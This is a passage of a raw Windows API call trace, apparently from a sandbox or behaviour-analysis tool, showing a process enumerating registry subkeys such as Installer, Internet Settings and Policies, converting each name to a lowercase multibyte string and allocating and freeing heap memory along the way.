hKey=0x38, dwIndex=0x15, lpName=0x49b930, cchName=0x104 | out: lpName="Hints") returned 0x0 [0221.721] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0221.721] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.721] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hints", cchWideChar=5, lpMultiByteStr=0x49c0d8, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hints", lpUsedDefaultChar=0x0) returned 5 [0221.721] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.721] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.722] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.722] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.722] RegEnumKeyW (in: hKey=0x38, dwIndex=0x16, lpName=0x49b930, cchName=0x104 | out: lpName="HomeGroup") returned 0x0 [0221.722] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0221.722] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="homegroup", cchWideChar=9, lpMultiByteStr=0x49c120, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="homegroup", lpUsedDefaultChar=0x0) returned 9 [0221.722] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.722] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.722] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.722] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.722] RegEnumKeyW (in: hKey=0x38, dwIndex=0x17, lpName=0x49b930, cchName=0x104 | out: lpName="HotStart") returned 0x0 [0221.722] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.722] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="hotstart", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="hotstart", lpUsedDefaultChar=0x0) returned 8 [0221.722] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.722] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.722] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.722] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.722] RegEnumKeyW (in: hKey=0x38, dwIndex=0x18, lpName=0x49b930, cchName=0x104 | out: lpName="IME") returned 0x0 [0221.722] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.722] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="ime", cchWideChar=3, lpMultiByteStr=0x49c120, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="ime", lpUsedDefaultChar=0x0) returned 3 [0221.722] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.722] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.722] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.722] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.722] RegEnumKeyW (in: hKey=0x38, dwIndex=0x19, lpName=0x49b930, cchName=0x104 | out: lpName="Installer") returned 0x0 [0221.722] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.722] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0221.723] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="installer", cchWideChar=9, lpMultiByteStr=0x49c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="installer", lpUsedDefaultChar=0x0) returned 9 [0221.723] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.723] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.723] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.723] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.723] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1a, lpName=0x49b930, cchName=0x104 | out: lpName="Internet Settings") returned 0x0 [0221.723] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0221.723] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="internet settings", cchWideChar=17, lpMultiByteStr=0x49c120, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="internet settings", lpUsedDefaultChar=0x0) returned 17 [0221.723] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.723] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.723] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.723] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.723] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1b, lpName=0x49b930, cchName=0x104 | out: lpName="MCT") returned 0x0 [0221.723] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 3 [0221.723] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mct", cchWideChar=3, lpMultiByteStr=0x49c0d8, cbMultiByte=3, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mct", lpUsedDefaultChar=0x0) returned 3 [0221.723] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.723] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.723] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.723] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.723] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1c, lpName=0x49b930, cchName=0x104 | out: lpName="Media Center") returned 0x0 [0221.723] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0221.723] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.723] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="media center", cchWideChar=12, lpMultiByteStr=0x49c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="media center", lpUsedDefaultChar=0x0) returned 12 [0221.724] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.724] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.724] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.724] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.724] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1d, lpName=0x49b930, cchName=0x104 | out: lpName="MMDevices") returned 0x0 [0221.724] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 9 [0221.724] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mmdevices", cchWideChar=9, lpMultiByteStr=0x49c0d8, cbMultiByte=9, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mmdevices", lpUsedDefaultChar=0x0) returned 9 [0221.724] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.724] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.724] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.724] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.724] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1e, lpName=0x49b930, cchName=0x104 | out: lpName="MSSHA") returned 0x0 [0221.724] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 5 [0221.724] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="mssha", cchWideChar=5, lpMultiByteStr=0x49c120, cbMultiByte=5, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="mssha", lpUsedDefaultChar=0x0) returned 5 [0221.724] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.724] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.724] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.724] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.724] RegEnumKeyW (in: hKey=0x38, dwIndex=0x1f, lpName=0x49b930, cchName=0x104 | out: lpName="NetCache") returned 0x0 [0221.724] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.724] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.724] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="netcache", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="netcache", lpUsedDefaultChar=0x0) returned 8 [0221.724] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.725] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.725] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.725] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.725] RegEnumKeyW (in: hKey=0x38, dwIndex=0x20, lpName=0x49b930, cchName=0x104 | out: lpName="OEMInformation") returned 0x0 [0221.725] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 14 [0221.725] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oeminformation", cchWideChar=14, lpMultiByteStr=0x49c120, cbMultiByte=14, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oeminformation", lpUsedDefaultChar=0x0) returned 14 [0221.725] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.725] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.725] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.725] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.725] RegEnumKeyW (in: hKey=0x38, dwIndex=0x21, lpName=0x49b930, cchName=0x104 | out: lpName="OOBE") returned 0x0 [0221.725] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 4 [0221.725] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="oobe", cchWideChar=4, lpMultiByteStr=0x49c0d8, cbMultiByte=4, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="oobe", lpUsedDefaultChar=0x0) returned 4 [0221.725] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.725] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.725] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.725] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.725] RegEnumKeyW (in: hKey=0x38, dwIndex=0x22, lpName=0x49b930, cchName=0x104 | out: lpName="OptimalLayout") returned 0x0 [0221.725] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0221.725] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="optimallayout", cchWideChar=13, lpMultiByteStr=0x49c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="optimallayout", lpUsedDefaultChar=0x0) returned 13 [0221.725] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.725] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.725] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.725] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.725] RegEnumKeyW (in: hKey=0x38, dwIndex=0x23, lpName=0x49b930, cchName=0x104 | out: lpName="Parental Controls") returned 0x0 [0221.725] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.725] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 17 [0221.726] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="parental controls", cchWideChar=17, lpMultiByteStr=0x49c0d8, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="parental controls", lpUsedDefaultChar=0x0) returned 17 [0221.726] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.726] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.726] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.726] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.726] RegEnumKeyW (in: hKey=0x38, dwIndex=0x24, lpName=0x49b930, cchName=0x104 | out: lpName="Personalization") returned 0x0 [0221.726] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0221.726] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="personalization", cchWideChar=15, lpMultiByteStr=0x49c120, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="personalization", lpUsedDefaultChar=0x0) returned 15 [0221.726] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.726] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.726] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.726] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.726] RegEnumKeyW (in: hKey=0x38, dwIndex=0x25, lpName=0x49b930, cchName=0x104 | out: lpName="PhotoPropertyHandler") returned 0x0 [0221.726] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0221.726] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.726] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="photopropertyhandler", cchWideChar=20, lpMultiByteStr=0x49c0d8, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="photopropertyhandler", lpUsedDefaultChar=0x0) returned 20 [0221.726] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.726] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.727] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.727] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.727] RegEnumKeyW (in: hKey=0x38, dwIndex=0x26, lpName=0x49b930, cchName=0x104 | out: lpName="PnPSysprep") returned 0x0 [0221.727] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0221.727] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="pnpsysprep", cchWideChar=10, lpMultiByteStr=0x49c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="pnpsysprep", lpUsedDefaultChar=0x0) returned 10 [0221.727] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.727] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.727] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.727] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.727] RegEnumKeyW (in: hKey=0x38, dwIndex=0x27, lpName=0x49b930, cchName=0x104 | out: lpName="Policies") returned 0x0 [0221.727] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 8 [0221.727] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="policies", cchWideChar=8, lpMultiByteStr=0x49c0d8, cbMultiByte=8, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="policies", lpUsedDefaultChar=0x0) returned 8 [0221.727] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.727] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.727] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.727] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.727] RegOpenKeyExW (in: hKey=0x38, lpSubKey="Policies", ulOptions=0x0, samDesired=0x20109, phkResult=0x18fb84 | out: phkResult=0x18fb84*=0xc4) returned 0x0 [0221.727] RegCloseKey (hKey=0x38) returned 0x0 [0221.727] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x0, lpName=0x49b930, cchName=0x104 | out: lpName="ActiveDesktop") returned 0x0 [0221.727] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 13 [0221.727] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="activedesktop", cchWideChar=13, lpMultiByteStr=0x49c120, cbMultiByte=13, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="activedesktop", lpUsedDefaultChar=0x0) returned 13 [0221.727] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.728] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.728] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.728] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49bbb8) returned 1 [0221.728] RegEnumKeyW (in: hKey=0xc4, dwIndex=0x1, lpName=0x49b930, cchName=0x104 | out: lpName="Attachments") returned 0x0 [0221.728] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x80) returned 0x49bbb8 [0221.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0221.728] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c0d8 [0221.728] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="attachments", cchWideChar=11, lpMultiByteStr=0x49c0d8, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="attachments", lpUsedDefaultChar=0x0) returned 11 [0221.728] RtlAllocateHeap (HeapHandle=0x490000, Flags=0x8, Size=0x40) returned 0x49c120 [0221.728] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c0d8) returned 1 [0221.728] RtlFreeHeap (HeapHandle=0x490000, Flags=0x0, BaseAddress=0x49c120) returned 1 [0221.728] RtlFreeHeap 